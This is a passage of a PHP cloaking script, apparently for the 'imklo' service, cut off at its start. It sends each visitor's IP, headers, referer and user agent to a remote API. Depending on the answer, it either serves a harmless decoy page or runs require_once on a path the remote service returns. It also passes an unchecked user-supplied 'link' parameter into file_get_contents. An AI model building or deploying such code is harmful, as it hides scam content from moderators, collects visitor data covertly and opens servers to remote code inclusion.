white_link; $domain_link = str_replace(['http://','htts://','/'], "", $white_link); $link = $_GET['link']; $info = new SplFileInfo($link); if($info->getExtension() == 'php' || $info->getExtension() == 'html' || $info->getExtension() == ''){ $post['ip'] = $_SERVER["HTTP_CF_CONNECTING_IP"]; $post['domain'] = $_SERVER['HTTP_HOST']; $post['referer'] = @$_SERVER['HTTP_REFERER']; $post['user_agent'] = $_SERVER['HTTP_USER_AGENT']; $post['url'] = $_SERVER['REQUEST_URI']; $post['headers'] = json_encode(apache_request_headers()); $api_reqest = curl($imklo_link.'/api/check_ip', $post); if(!@$api_reqest || @$api_reqest->white_link || @$api_reqest->result == 0){ $type = 'text/html'; }else{ require_once($api_reqest->link); exit(); } }else{ $type = 'text/'.$info->getExtension(); } header('Content-type: '.$type); $html = file_get_contents($white_link . $link); $html = str_replace($white_link, "/", $html); $html = str_replace($domain_link, $_SERVER['HTTP_HOST'], $html); echo $html; /////////////////////// function curl($url, $post_data){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 60); if($post_data){ curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); } $output = curl_exec($ch); curl_close($ch); return json_decode($output); } ?>